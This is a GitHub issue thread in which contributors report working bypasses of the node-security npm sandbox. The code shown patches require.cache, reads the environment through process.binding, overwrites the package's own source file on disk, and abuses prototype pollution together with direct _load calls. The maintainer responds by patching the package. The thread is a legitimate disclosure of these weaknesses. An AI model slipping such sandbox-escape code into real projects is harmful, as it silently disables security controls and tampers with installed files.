Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Security checks can be completely bypassed by a malicious script #7

Open
Qix- opened this issue Dec 30, 2018 · 12 comments
Open

Security checks can be completely bypassed by a malicious script #7

Qix- opened this issue Dec 30, 2018 · 12 comments

Comments

@Qix-
Copy link

Qix- commented Dec 30, 2018

First off, I started looking at this repository because it's gaining traction. I'm also posting this here since there are no listed dependents on npm (yet).

I want to put forward my belief that you cannot secure a javascript context using javascript alone. This is why packages like vm2 exist (which wraps node's vm module). This is also why node-security is inherently insecure unless you introduce a native component that modifies the behavior of the execution context. This is an extremely hard problem to solve.

Please do not use this package if you need a secure execution context.


The following code can bypass your module's security checks entirely. Note that this took me roughly 5 minutes to reverse engineer. Any attempts to obscure this will fail.

/* secure.js */

const nodesecurity = require( '@matthaywardwebdesign/node-security' );
const NodeSecurity = new nodesecurity();

// Don't allow anything at all.
NodeSecurity.configure({});
/* index.js */

function try_require(name) {
	try {
		require(name);
		console.log(name, '\x1b[1;32mOK\x1b[m');
	} catch (e) {
		console.error(name, '\x1b[1;31mFAIL\x1b[m -', e.message);
	}
}

try_require('http');
try_require('fs');
try_require('net');
/* bypass.js */

require.cache[Object.keys(require.cache).filter(s => /node-security\/dist\/ModuleLoader\.js$/.test(s))[0]].exports.default.prototype.isModuleAllowed = () => true;
$ node ./index.js
http OK
fs OK
net OK

$ node -r ./secure.js ./index.js
http FAIL - NodeSecurity has blocked an attempt to access module 'http'. Parent modules = ['/private/tmp/test-node-security/index.js']
fs FAIL - NodeSecurity has blocked an attempt to access module 'fs'. Parent modules = ['/private/tmp/test-node-security/index.js']
net FAIL - NodeSecurity has blocked an attempt to access module 'net'. Parent modules = ['/private/tmp/test-node-security/index.js']

$ node -r ./secure.js -r ./bypass.js ./index.js
http OK
fs OK
net OK
@NullVoxPopuli
Copy link

@qix, the hero we need.. :)

But also, I saw this repo from suggested pages in chrome, and as I was looking through the code, I had the exact same concern. Glad to see my hunch was right. 👍

@matthaywardwebdesign
Copy link
Owner

@Qix- Thanks for this! Your approach clearly slipped my mind when thinking about ways to bypass it.

I do agree that doing it from Javascript without modifying the execution context may not be possible. I'm pushing a fix now that prevents the prototype being modified using Object.freeze which does prevent your code bypassing the check. However I'm not certain that this will prevent it entirely, or that there isn't other ways to bypass these checks.

I'll look at using solutions like vm2 to enable this functionality whilst keeping what I believe is a fairly clean API.

For the meantime I'll place a link to your issue in the README with a note around "secure" usage.

Thanks again.

@Qix-
Copy link
Author

Qix- commented Dec 30, 2018

@matthaywardwebdesign I look forward to reviewing the next iteration. :)

@matthaywardwebdesign
Copy link
Owner

@Qix- Let's keep finding these issues!

Need all the help I can get, I'm no security expert by any means!

@erights
Copy link

erights commented Dec 30, 2018

Need all the help I can get, I'm no security expert by any means!

Hi @matthaywardwebdesign we've been working on this. In fact, we've been shaping JavaScript to make this kind of security possible starting with EcmaScript 5 and Caja https://developers.google.com/caja/ . However, Caja itself remains stuck in approximately ES5-era JavaScript. For help using modern JavaScript to secure itself, see the links below.

I want to put forward my belief that you cannot secure a javascript context using javascript alone.

Hi @Qix- , your criticisms are in the right direction. Even after all the progress we've made, it is still much trickier to use JS to secure itself than it should be. But yes we can, we are doing so, and we have been for many years. However, it is a lot more involved than it looks. See

https://www.youtube.com/watch?v=9Snbss_tawI&t=120s&list=PLKr-mvz8uvUgybLg53lgXSeLOp4BiwvB2&index=26

https://rawgit.com/Agoric/SES/master/demo/

https://rawgit.com/Agoric/SES/

https://github.com/tc39/proposal-realms/

https://github.com/tc39/proposal-frozen-realms/

@erights
Copy link

erights commented Dec 30, 2018

Please see https://medium.com/agoric/pola-would-have-prevented-the-event-stream-incident-45653ecbda99 by @katelynsills for a taste of our next major work in progress --- least authority module loading. This will be awhile, and is needed to integrate modern modules well into SES. But you should start playing with SES now, without waiting for modules, so you get the key ideas.

If you don't yet need modules, SES is quite usable now. Salesforce is using it at scale, as @jfparadis explained at his OCap 2018 talk at Splash:

https://www.youtube.com/watch?v=3ME7oHHQbuM&list=PLzDw4TTug5O0ywHrOz4VevVTYr6Kj_KtW

@Qix-
Copy link
Author

Qix- commented Dec 31, 2018

@matthaywardwebdesign here's a complete bypass for the environment (where configuration is {env: {}}).

const _util = process.binding('util');

process.env = new Proxy({}, {
	get(target, name) {
		return _util.safeGetenv(name);
	}
});

@erights I'm entirely aware of how complicated securing Javascript is. :)

@Qix-
Copy link
Author

Qix- commented Dec 31, 2018

@matthaywardwebdesign also here's a bypass that works after running the program exactly twice:

const nodeSec = Object.keys(require.cache).filter(k => /@matthaywardwebdesign\/node-security\/dist\/index\.js$/.test(k))[0];

const _fs = process.binding('fs');
const _const = process.binding('constants');

const ctx = {nodeSec};
const fd = _fs.open(nodeSec, _const.fs.O_WRONLY | _const.fs.O_TRUNC, 0o666, undefined, ctx);
_fs.writeString(fd, 'module.exports = class LolSecurity{configure(){}reset(){}};', null, undefined, undefined, ctx);
_fs.close(fd, undefined, ctx);

@matthaywardwebdesign
Copy link
Owner

@erights Thanks for all of those resources and the great work you are doing! I'll check them out :)

Definitely a hard problem to solve!

@Qix- Nice work and LolSecurity is a nice touch haha! I've just pushed a change which applies the same logic to process.binding as require which prevents those exploits from working.

There definitely will be more ways to access core modules outside of require however. One example I can think of would be including a C++ module which performs file operations.

@Qix-
Copy link
Author

Qix- commented Dec 31, 2018

Yes, loading a c++ module will be my next trick. But putting process.dlopen() behind a capability will fix that.

@matthaywardwebdesign
Copy link
Owner

@Qix- I look forward to your next tricks! I've pushed a new version with process.dlopen() behind a check as per your suggestion!

Thanks for all the help too!

@HoLyVieR
Copy link

Two other things to add about bypasses related to "require" :

  1. The require cache is completely mutable. Meaning that the script can impersonate himself as an other module which has the access he wants.
Object.prototype.toString.fs = true;
require.cache[__filename].filename = "toString";
var fs = require("fs");
console.log(fs.writeFileSync ? "Yay !" : "Nay :(");
  1. The hooked "_load" function can be directly called with a crafted "parent" value.
Object.prototype.toString.fs = true;
var fs = global.process.mainModule.constructor._load("fs", { filename : "toString" , parent: { filename : __filename } });
console.log(fs.writeFileSync ? "Yay !" : "Nay :(");

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

6 participants
@NullVoxPopuli @erights @HoLyVieR @Qix- @matthaywardwebdesign and others